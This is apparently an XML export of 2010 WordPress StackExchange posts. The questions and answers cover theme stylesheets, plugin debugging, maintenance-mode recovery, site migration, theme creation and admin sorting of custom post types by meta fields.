  <row Id="140" PostTypeId="2" ParentId="119" CreationDate="2010-08-11T23:06:15.700" Score="1" ViewCount="" Body="&lt;p&gt;since I run my sites in IIS (I also run asp.net, so I need windows) I use WebPI from Msft to install a new instance, then I copy the template and use the import/export to transfer the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not perfect but the whole thing takes less than an hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously it would be nice to have a one-click solution, but this is what I found to be easiest for me.&lt;/p&gt;&#xA;" OwnerUserId="57" LastActivityDate="2010-08-11T23:06:15.700" />
  <row Id="141" PostTypeId="2" ParentId="136" CreationDate="2010-08-11T23:07:17.413" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure if this has changed for WP3, so I'm not wholly sure, but one way is to edit the relevant php file directly (I don't know if it can be done from within the Dashboard/Admin pages):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp-folder/wp-content/themes/your-theme/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And open up &lt;code&gt;header.php&lt;/code&gt;. In this file find this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('stylesheet_url'); ?&amp;gt;&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To add a 'version' to the linked stylesheet (assuming you want it to be something like: &lt;code&gt;stylesheetURL.css?version=2&lt;/code&gt;) change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('stylesheet_url'); ?&amp;gt;?version=2&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is kind of inelegant, though, so if there's a better way I'd love to hear it myself =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr /&gt;&#xA;I just re-read your question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use a different stylesheet &lt;code&gt;styles-1.css&lt;/code&gt; you can either just the (above) line to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;absolute/or/root-relative/path/to/styles-1.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Basically removing the &lt;code&gt;&amp;lt;?php ... ?&amp;gt;&lt;/code&gt; and replacing it with a regular path.)&lt;/p&gt;&#xA;" OwnerUserId="84" LastActivityDate="2010-08-11T23:07:17.413" CommentCount="3" />
  <row Id="142" PostTypeId="2" ParentId="136" CreationDate="2010-08-11T23:07:31.097" Score="2" ViewCount="" Body="&lt;p&gt;Drop this in your theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_cool_style_versioner( $style ){&#xA;  return str_replace( '/style.css', '/style-1.css', $style );&#xA;}&#xA;&#xA;add_filter( 'stylesheet_uri', 'my_cool_style_versioner' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-08-11T23:18:03.043" LastActivityDate="2010-08-11T23:18:03.043" CommentCount="4" />
  <row Id="143" PostTypeId="1" AcceptedAnswerId="156" CreationDate="2010-08-11T23:08:54.837" Score="4" ViewCount="251" Body="&lt;p&gt;I'm new to wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which steps would I need to do, to get my new design implemented as a wordpress theme?&lt;/p&gt;&#xA;" OwnerUserId="94" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-12T23:06:33.793" LastActivityDate="2010-08-13T19:47:23.757" Title="How to create a new theme from scratch?" Tags="&lt;themes&gt;&lt;design&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="3" />
  <row Id="145" PostTypeId="1" CreationDate="2010-08-11T23:09:56.520" Score="14" ViewCount="416" Body="&lt;p&gt;I am pretty new to plugin authoring and was having a hard time debuging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used lots of echo and it is sloppy and ugly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure there is a better way to do this, maybe an IDE with a debugger that I can run the entire site in including the plugin?&lt;/p&gt;&#xA;" OwnerUserId="57" LastActivityDate="2011-02-22T20:00:02.333" Title="How do you debug plugins?" Tags="&lt;plugins&gt;&lt;debug&gt;&lt;plugin-development&gt;" AnswerCount="13" CommentCount="2" FavoriteCount="10" />
  <row Id="146" PostTypeId="2" ParentId="70" CreationDate="2010-08-11T23:12:38.497" Score="0" ViewCount="" Body="&lt;p&gt;Plus one for gravity forms as I have found it to be much easier for my clients to use. Is easier to provide theme support for (ie Easier to customize via CSS) and has fewer conflicts with other plugins&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditorDisplayName="" LastEditDate="2010-10-05T23:06:45.557" LastActivityDate="2010-10-05T23:06:45.557" CommentCount="3" />
  <row Id="147" PostTypeId="2" ParentId="127" CreationDate="2010-08-11T23:15:39.037" Score="3" ViewCount="" Body="&lt;p&gt;WP_Query uses PHP's native &lt;code&gt;parse_str&lt;/code&gt; function, which uses the following structure to denote arrays:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'post__not_in[]=1&amp;amp;post__not_in[]=2&amp;amp;post__not_in[]=3'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is the same as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;  'post__not_in' =&amp;gt; array( 1,2,3 )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-11T23:15:39.037" CommentCount="3" />
  <row Id="148" PostTypeId="2" ParentId="143" CreationDate="2010-08-11T23:16:53.077" Score="3" ViewCount="" Body="&lt;p&gt;You could use a &quot;starter&quot; theme, such as &lt;a href=&quot;http://starkerstheme.com/&quot; rel=&quot;nofollow&quot;&gt;Starkers&lt;/a&gt;, which provides a base for building out your own theme. There's minimal functionality in place, so you have to do some work yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is using a theme framework, which contains a lot of common, base functionality which you can simply use. Options include &lt;a href=&quot;http://crowdfavorite.com/wordpress/carrington/&quot; rel=&quot;nofollow&quot;&gt;Carrington&lt;/a&gt; and &lt;a href=&quot;http://www.studiopress.com/&quot; rel=&quot;nofollow&quot;&gt;Genesis&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend starting with Starkers, which will force you to learn about WordPress tags and functions. Then you can use a framework to speed up later work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, for resources on theme development, you may want to look at the &lt;a href=&quot;http://wordpress.stackexchange.com/questions/50/where-can-i-learn-to-create-my-own-theme&quot;&gt;answers on this question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditorDisplayName="" LastEditDate="2010-08-11T23:30:50.153" LastActivityDate="2010-08-11T23:30:50.153" CommentCount="1" />
  <row Id="149" PostTypeId="2" ParentId="52" CreationDate="2010-08-11T23:18:12.637" Score="0" ViewCount="" Body="&lt;p&gt;I see this happen from time to time and it seems to be a long standing problem. I have noticed it since at least 2.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I can't explain why it happens I have found that if I manually re-enter the &quot;http://yourdomain.com/wp-admin&quot; url (not wp-login.php) after my first login attempt that redirects it will take me straight to the dashboard.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-08-11T23:18:12.637" />
  <row Id="150" PostTypeId="2" ParentId="145" CreationDate="2010-08-11T23:21:15.923" Score="8" ViewCount="" Body="&lt;p&gt;Go into wp-config.php and change &lt;code&gt;define('WP_DEBUG', false);&lt;/code&gt; to &lt;code&gt;define('WP_DEBUG', true);&lt;/code&gt;. Also, install Andrew Nacin's &lt;a href=&quot;http://wordpress.org/extend/plugins/log-deprecated-notices/&quot; rel=&quot;nofollow&quot;&gt;Log Deprecated Notices&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-11T23:21:15.923" CommentCount="1" />
  <row Id="151" PostTypeId="2" ParentId="119" CreationDate="2010-08-11T23:32:11.337" Score="2" ViewCount="" Body="&lt;p&gt;I use subversion's export command to install the WordPress files (http://core.svn.wordpress.org/tags//) as well as all plugins in the repository (http://plugins.svn.wordpress.org//tags//), then just zip the theme and custom plugins and install them normally. Once all of that is up and running without content, I export the test DB and do a search/replace for the URL AND the filepath (stored for media) and import into an empty database, then just switch the database info in wp-config.php. Generally takes me about 10 - 20 minutes.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-11T23:32:11.337" />
  <row Id="152" PostTypeId="1" CreationDate="2010-08-11T23:53:13.327" Score="2" ViewCount="377" Body="&lt;p&gt;&lt;a href=&quot;http://aws.amazon.com/cloudfront/&quot; rel=&quot;nofollow&quot;&gt;Amazon CloudFront&lt;/a&gt; is a content distribution network (CDN) that can help you survive a huge amount of load in a short amount of time.  What's the easiest way to configure WordPress to host its files (media library, CSS, plugin files, theme) on S3/CloudFront?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm currently using W3 Total Cache to do this.)&lt;/p&gt;&#xA;" OwnerUserId="125" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-21T01:18:55.640" LastActivityDate="2010-08-21T01:18:55.640" Title="Configuring WordPress for Amazon CloudFront Caching?" Tags="&lt;cache&gt;&lt;cdn&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="153" PostTypeId="2" ParentId="136" CreationDate="2010-08-12T00:09:41.687" Score="5" ViewCount="" Body="&lt;p&gt;&lt;code&gt;Style.css&lt;/code&gt; is required for your WordPress theme.  That's where WordPress gets the theme name and meta information for the Appearance &gt;&gt; Themes menu from.  That said, you don't actually have to use &lt;code&gt;style.css&lt;/code&gt; in your theme at all.  I know of several readily available themes that don't use it, and I only use it in a handful of my custom designs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;header.php&lt;/code&gt; just place the following tag in place of the regular stylesheet link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;&amp;lt;?php bloginfo('stylesheet_directory'); ?&amp;gt;/style-1.css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will load your alternative stylesheet as the page's stylesheet and completely ignore the regular &lt;code&gt;style.css&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-12T00:09:41.687" CommentCount="1" />
  <row Id="154" PostTypeId="1" AcceptedAnswerId="155" CreationDate="2010-08-12T00:27:03.430" Score="1" ViewCount="65" Body="&lt;p&gt;I'm updating plugins installed on my wordpress site. However, for almost an hour, it's still doing maintenance mode. When I accidentally hit reload, I got BIG white screen of death saying: &lt;strong&gt;&quot;Briefly unavailable for scheduled maintenance. Check back in a minute.&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do to fix this mess?&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-08-12T00:36:05.893" Title="Plugin upgrade issue" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;maintenance&gt;" AnswerCount="1" />
  <row Id="155" PostTypeId="2" ParentId="154" CreationDate="2010-08-12T00:36:05.893" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/FAQ_Troubleshooting#How_to_clear_the_.22Briefly_unavailable_for_scheduled_maintenance.22_message_after_doing_automatic_upgrade.3F&quot; rel=&quot;nofollow&quot;&gt;How to clear the &quot;Briefly unavailable for scheduled maintenance&quot; message after doing automatic upgrade?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As part of the automatic upgrade&#xA;  WordPress places a file named&#xA;  &lt;code&gt;.maintenance&lt;/code&gt; in the blog &lt;strong&gt;base&lt;/strong&gt;&#xA;  folder (folder that contains the&#xA;  wp-admin folder). If that file exists,&#xA;  then vistors will see the message&#xA;  &lt;strong&gt;Briefly unavailable for scheduled maintenance. Check back in a minute.&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To stop that message from being&#xA;  displayed to vistors, just delete the&#xA;  &lt;code&gt;.maintenance&lt;/code&gt; file. The automatic&#xA;  upgrade should be executed again, just&#xA;  in case it failed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-12T00:36:05.893" />
  <row Id="156" PostTypeId="2" ParentId="143" CreationDate="2010-08-12T00:51:07.983" Score="10" ViewCount="" Body="&lt;p&gt;An alternative to a &quot;skinnable&quot; theme framework like &lt;a href=&quot;http://crowdfavorite.com/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Carrington&lt;/a&gt; (which indeed is awesome) is to integrate a design you've done from scratch. This is how I learned how to create custom WordPress themes. Note: this is a hacky method that involves lots of experimentation. But if you're like me, and learn best when you're playing around with your hands, this may teach you a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I assume you know HTML, CSS, and PHP. If not, working knowledge of those technologies would be required to build a new theme from scratch. Working knowledge of &lt;a href=&quot;http://en.wikipedia.org/wiki/LAMP_%28software_bundle%29&quot; rel=&quot;nofollow&quot;&gt;LAMP&lt;/a&gt; is also helpful.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First, build out your design in static code: HTML and CSS. Make sure it's cross-browser friendly and includes all of the elements a WordPress blog would (i.e. comments, archive pages, etc). Also, place all of the CSS code into a single file named &quot;style.css&quot; and make sure all external file references (for CSS, images, JS, etc) use relative URLs, not absolute URLs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get WordPress running on your local machine. This will require installing Apache, PHP, and MySQL onto your desktop or laptop. If you're using Windows, the &lt;a href=&quot;http://www.wampserver.com/en/&quot; rel=&quot;nofollow&quot;&gt;WampServer&lt;/a&gt; is a nice solution. If you're using a Mac, &lt;a href=&quot;http://www.mamp.info/en/index.html&quot; rel=&quot;nofollow&quot;&gt;MAMP&lt;/a&gt; works well too. Then install WordPress.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open up the files for the Default theme that comes with the WordPress installation package. It's in the /wp-content/themes/default/ folder. This theme probably has more files than you'll need. As an alternative, you can also start with the Classic theme instead, which has fewer theme files, in /wp-content/themes/classic/ of course. BTW: the Default theme is selected by default (duh), but if you want to start with the Classic theme, make sure you activate that theme within the WP admin, so you can see how it looks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In your browser, keep the &lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;Theme Development&lt;/a&gt; section from the WordPress Codex open. You'll be needing it very often. On the &lt;a href=&quot;http://codex.wordpress.org/Theme_Development#Template_Files_List&quot; rel=&quot;nofollow&quot;&gt;Template Files List&lt;/a&gt;, you'll see how that list maps to the files you see in the Default (or Classic) theme. Some theme files are required, some aren't.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Depending on the kind of person you are, you can now start mucking around with the theme files and see what works, what breaks, etc. You can even start moving pieces of your own design into this theme. Or, you can read the Theme Development instructions carefully (the info on &lt;a href=&quot;http://codex.wordpress.org/The_Loop_in_Action&quot; rel=&quot;nofollow&quot;&gt;The Loop&lt;/a&gt; is especially important), then come back and muck with the files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When I started doing this, lots of stuff would break. Don't worry if that happens, that's why you're doing this on your own local machine and not on a public website. The breakages are part of the fun of learning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually, you'll be able to slowly move pieces of your HTML and CSS into the Default or Classic theme, then get it all running. That's when you'll graduate from a n00b to an Apprentice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And after that, you'll be able to move pieces of PHP code (which are WordPress' &lt;a href=&quot;http://codex.wordpress.org/Template_Tags&quot; rel=&quot;nofollow&quot;&gt;Template Tags&lt;/a&gt;) out of the Default or Classic theme, and into your HTML. That's when you'll graduate to a Journeyman.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I consider a Senior Journeyman someone who can write their own widgets, plugins, and themes with great ease. And a Master, well, at that point, you're contributing back to the WordPress Core. I'm definitely not that.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="128" LastActivityDate="2010-08-12T00:51:07.983" CommentCount="3" />
  <row Id="157" PostTypeId="2" ParentId="70" CreationDate="2010-08-12T01:03:43.153" Score="3" ViewCount="" Body="&lt;p&gt;If you are looking to do a highly custom form, and want complete control over what happens, you can also create a new template for the page, and your form on that template would post back to itself.  At the top of the template you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if($_POST)&#xA;{&#xA;     // do something&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not the most elegant, but it works.&lt;/p&gt;&#xA;" OwnerUserId="134" LastActivityDate="2010-08-12T01:03:43.153" />
  <row Id="158" PostTypeId="1" AcceptedAnswerId="179" CreationDate="2010-08-12T01:09:55.153" Score="8" ViewCount="94" Body="&lt;p&gt;My team and I are working with a client who has an existing WordPress site with a fair bit of content and a custom theme they built. It is a group blog, meaning it has several bloggers all around the world who are adding &amp;amp; editing content all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our job is to create an entirely new theme, with quite a few new features. Some of these features will require new custom widgets, plugins, and database fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're currently working off our own development machines and integrating them into a single development server. All code is versioned in SVN. Our appointed DBA is manually merging any database changes into the dev DB right now, though hopefully he'll be able to automate that soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We just started talking about our production release process. Meaning: once we're done, how are we going to get all of our custom code onto the production (the live) server smoothly and with as little disruption as possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a few plans in mind, but I would love to hear how others have tackled this issue too. Are there any best practices to follow or known pitfalls to avoid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="128" LastActivityDate="2010-08-12T05:48:25.417" Title="Do you have any effective strategies for launching a v2 of a WP site?" Tags="&lt;release-process&gt;" AnswerCount="3" FavoriteCount="4" />
  <row Id="159" PostTypeId="2" ParentId="45" CreationDate="2010-08-12T01:13:49.373" Score="24" ViewCount="" Body="&lt;p&gt;As you can probably imagine by the lack of answers provided, the solution is not exactly trivial. What I've done is create a somewhat self-contained example that assumes a custom post type of &quot;&lt;code&gt;movie&lt;/code&gt;&quot; and custom field key of &quot;&lt;em&gt;Genre&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Disclaimer&lt;/em&gt;&lt;/strong&gt;: this works with WP3.0 but I can't be sure it will work with earlier versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You basically need to hook two (2) hooks to make it work and another two (2) to make it obvious and useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first hook is '&lt;code&gt;restrict_manage_posts&lt;/code&gt;' which lets you emit an HTML &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; in the area above the list of posts where the &quot;&lt;em&gt;Bulk Actions&lt;/em&gt;&quot; and &quot;&lt;em&gt;Show Dates&lt;/em&gt;&quot; filters. The code provided will generate the &quot;&lt;em&gt;Sort by:&lt;/em&gt;&quot; functionality as seen in this screen snippet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100811-210313.png&quot; alt=&quot;How to Create Sort By functionality for a Custom Post Type in the WordPress Admin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code uses direct SQL because there is not a WordPress API function to provide the list of all meta_keys for a post types (sounds like a future &lt;a href=&quot;http://core.trac.wordpress.org&quot; rel=&quot;nofollow&quot;&gt;trac&lt;/a&gt; ticket to me...)  Anyway, here's the code. Note that it grabs the post type from &lt;code&gt;$_GET&lt;/code&gt; and validates to make sure it is both a valid post type &lt;code&gt;post_type_exists()&lt;/code&gt; as well as being a &lt;code&gt;movie&lt;/code&gt; post type (those two checks are overkill but I did it to show you how if you don't want to hard-code the post type.) Lastly I use the &lt;code&gt;sortby&lt;/code&gt; URL parameter as it doesn't conflict with anything else in WordPress:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('restrict_manage_posts','restrict_manage_movie_sort_by_genre');&#xA;function restrict_manage_movie_sort_by_genre() {&#xA;    if (isset($_GET['post_type'])) {&#xA;        $post_type = $_GET['post_type'];&#xA;        if (post_type_exists($post_type) &amp;amp;&amp;amp; $post_type=='movie') {&#xA;            global $wpdb;&#xA;            $sql=&amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT pm.meta_key FROM {$wpdb-&amp;gt;postmeta} pm&#xA;INNER JOIN {$wpdb-&amp;gt;posts} p ON p.ID=pm.post_id&#xA;WHERE p.post_type='movie' AND pm.meta_key='Genre'&#xA;GROUP BY pm.meta_key&#xA;ORDER BY pm.meta_key&#xA;SQL;&#xA;            $results = $wpdb-&amp;gt;get_results($sql);&#xA;            $html = array();&#xA;            $html[] = &quot;&amp;lt;select id=\&quot;sortby\&quot; name=\&quot;sortby\&quot;&amp;gt;&quot;;&#xA;            $html[] = &quot;&amp;lt;option value=\&quot;None\&quot;&amp;gt;No Sort&amp;lt;/option&amp;gt;&quot;;&#xA;            $this_sort = $_GET['sortby'];&#xA;            foreach($results as $meta_key) {&#xA;                $default = ($this_sort==$meta_key-&amp;gt;meta_key ? ' selected=&quot;selected&quot;' : '');&#xA;                $value = esc_attr($meta_key-&amp;gt;meta_key);&#xA;                $html[] = &quot;&amp;lt;option value=\&quot;{$meta_key-&amp;gt;meta_key}\&quot;$default&amp;gt;{$value}&amp;lt;/option&amp;gt;&quot;;&#xA;            }&#xA;            $html[] = &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;            echo &quot;Sort by: &quot; . implode(&quot;\n&quot;,$html);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second required step is to use the &lt;code&gt;parse_query&lt;/code&gt; hook that is called after WordPress decides one what query is should run but before it runs the query. Here we get to set values of &lt;code&gt;orderby&lt;/code&gt; and &lt;code&gt;meta_key&lt;/code&gt; in the query's &lt;code&gt;query_var&lt;/code&gt; array which are &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;documented in the Codex&lt;/a&gt; in the &lt;code&gt;orderby&lt;/code&gt; parameter for &lt;code&gt;query_posts()&lt;/code&gt;. We test to make sure that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;We are in the admin (&lt;code&gt;is_admin()&lt;/code&gt;), &lt;/li&gt;&#xA;&lt;li&gt;We are on the page that lists posts in the admin (&lt;code&gt;$pagenow=='edit.php'&lt;/code&gt;), &lt;/li&gt;&#xA;&lt;li&gt;The page has been called with a &lt;code&gt;post_type&lt;/code&gt; URL parameter equal to &lt;code&gt;movie&lt;/code&gt;, and &lt;/li&gt;&#xA;&lt;li&gt;The page has also been called with a &lt;code&gt;sortby&lt;/code&gt; URL parameter and that it wasn't passed a value of '&lt;em&gt;None&lt;/em&gt;'&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If all those tests pass we then set the &lt;code&gt;query_vars&lt;/code&gt; (as documented &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) to &lt;code&gt;meta_value&lt;/code&gt; and our &lt;code&gt;sortby&lt;/code&gt; value for '&lt;em&gt;Genre&lt;/em&gt;':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'parse_query', 'sort_movie_by_meta_value' );&#xA;function sort_movie_by_meta_value($query) {&#xA;    global $pagenow;&#xA;    if (is_admin() &amp;amp;&amp;amp; $pagenow=='edit.php' &amp;amp;&amp;amp;&#xA;            isset($_GET['post_type']) &amp;amp;&amp;amp; isset($_GET['post_type'])=='movie' &amp;amp;&amp;amp; &#xA;            isset($_GET['sortby'])  &amp;amp;&amp;amp; $_GET['sortby'] !='None')  {&#xA;        $query-&amp;gt;query_vars['orderby'] = 'meta_value';&#xA;        $query-&amp;gt;query_vars['meta_key'] = $_GET['sortby'];&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's all you need to do; no &quot;&lt;code&gt;posts_order&lt;/code&gt;&quot; or &quot;&lt;code&gt;wp&lt;/code&gt;&quot; hooks required!  Of course you actually do need to do more; you need to add some columns on your page that lists the posts so you can actually see the values that it is sorting by otherwise the users will get mucho confused.  So add a &lt;code&gt;manage_{$post_type}_posts_columns&lt;/code&gt; hook, in this case &lt;code&gt;manage_movie_posts_columns&lt;/code&gt;. This hook gets passed the default array of columns and for simplicity I just replaced it with two standard columns; a checkbox (&lt;code&gt;cb&lt;/code&gt;) and a post name (&lt;code&gt;title&lt;/code&gt;). (You can inspect &lt;code&gt;posts_columns&lt;/code&gt; with a &lt;code&gt;print_r()&lt;/code&gt; to see what else is available by default.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to add a &quot;&lt;em&gt;Sorted By:&lt;/em&gt;&quot; for when there is a &lt;code&gt;sortby&lt;/code&gt; URL parameter and when it is not &lt;code&gt;None&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('manage_movie_posts_columns', 'manage_movie_posts_columns');&#xA;function manage_movie_posts_columns($posts_columns) {&#xA;    $posts_columns = array(&#xA;        'cb' =&amp;gt; $posts_columns['cb'],&#xA;        'title' =&amp;gt; 'Movie Name',&#xA;        );&#xA;    if (isset($_GET['sortby']) &amp;amp;&amp;amp; $_GET['sortby'] !='None') &#xA;        $posts_columns['meta_value'] = 'Sorted By';&#xA;&#xA;    return $posts_columns;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally we use the &lt;code&gt;manage_pages_custom_column&lt;/code&gt; hook to actually display the value when there is a post of the appropriate post type and with the probably redundant test for &lt;code&gt;is_admin()&lt;/code&gt; and &lt;code&gt;$pagenow=='edit.php'&lt;/code&gt;. When there is a &lt;code&gt;sortby&lt;/code&gt; URL parameter we extract the custom field value that is being sorted by an display it in our list.  Here's what it looks like (remember, this is test data so no comments from the peanut gallery on the movie classifications! :):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100811-210929.png&quot; alt=&quot;Custom Columns added for a Custom Post Type in the WordPress Admin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('manage_pages_custom_column', 'manage_movie_pages_custom_column',10,2);&#xA;function manage_movie_pages_custom_column($column_name,$post_id) {&#xA;    global $pagenow;&#xA;    $post = get_post($post_id);&#xA;    if ($post-&amp;gt;post_type=='movie' &amp;amp;&amp;amp; is_admin() &amp;amp;&amp;amp; $pagenow=='edit.php')  {&#xA;        switch ($column_name) {&#xA;            case 'meta_value':&#xA;                if (isset($_GET['sortby']) &amp;amp;&amp;amp; $_GET['sortby'] !='None') {&#xA;                    echo get_post_meta($post_id,$_GET['sortby'],true);&#xA;                }&#xA;                break;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this only picks up the first &quot;&lt;em&gt;Genre&lt;/em&gt;&quot; for a &lt;code&gt;movie&lt;/code&gt;, i.e. the first meta_value in the case of multiple values for a given key.  But then again I'm not sure how it would work otherwise!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for those unfamiliar with where to put this code you can put it in a plugin or more likely for the newbie in the &lt;code&gt;functions.php&lt;/code&gt; file in your current theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How this helps.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-12T01:13:49.373" CommentCount="8" />
